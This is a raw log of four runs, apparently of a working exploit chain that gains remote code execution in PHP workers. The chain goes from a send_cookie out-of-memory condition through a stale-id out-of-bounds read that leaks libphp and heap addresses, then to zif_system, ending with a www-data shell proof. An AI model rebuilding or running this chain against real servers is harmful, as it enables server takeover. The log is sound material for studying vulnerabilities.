===== official workers same run 1 (2026-10-23T00:53:07+08:00) =====
      pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7f41b8d34b60 -> libphp=0x7f41b86d6000
      chunk buckets: [('0x7f41b6400000', 7495), ('0x7f41b8c00000', 1095), ('0x7f41b6a00000', 87), ('0x7f41b6200000', 79)]
[try 1] A2 + B2: main=0x7f41b6a00000 S=0x7f41b6af8398 zif_system=0x7f41b8b3b370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
===== official workers same run 2 (2026-10-23T00:53:19+08:00) =====
      pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7f41b8d34b60 -> libphp=0x7f41b86d6000
      chunk buckets: [('0x7f41b6400000', 7495), ('0x7f41b8c00000', 1095), ('0x7f41b6a00000', 87), ('0x7f41b6200000', 79)]
[try 1] A2 + B2: main=0x7f41b6a00000 S=0x7f41b6af8398 zif_system=0x7f41b8b3b370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
===== official workers same run 3 (2026-10-23T00:53:23+08:00) =====
      pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7f41b8d34b60 -> libphp=0x7f41b86d6000
      chunk buckets: [('0x7f41b6400000', 7495), ('0x7f41b8c00000', 1095), ('0x7f41b6a00000', 87), ('0x7f41b6200000', 79)]
[try 1] A2 + B2: main=0x7f41b6a00000 S=0x7f41b6af8398 zif_system=0x7f41b8b3b370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
===== official workers restart run (2026-10-23T00:53:28+08:00) =====
      pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7fba1c805b60 -> libphp=0x7fba1c1a7000
      chunk buckets: [('0x7fba19e00000', 7495), ('0x7fba1c800000', 1095), ('0x7fba1a600000', 87), ('0x7fba19c00000', 79)]
[try 1] A2 + B2: main=0x7fba1a600000 S=0x7fba1a6f8398 zif_system=0x7fba1c60c370
[4/4] RCE OK; proof /home/debian/p2s-pure-1022/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)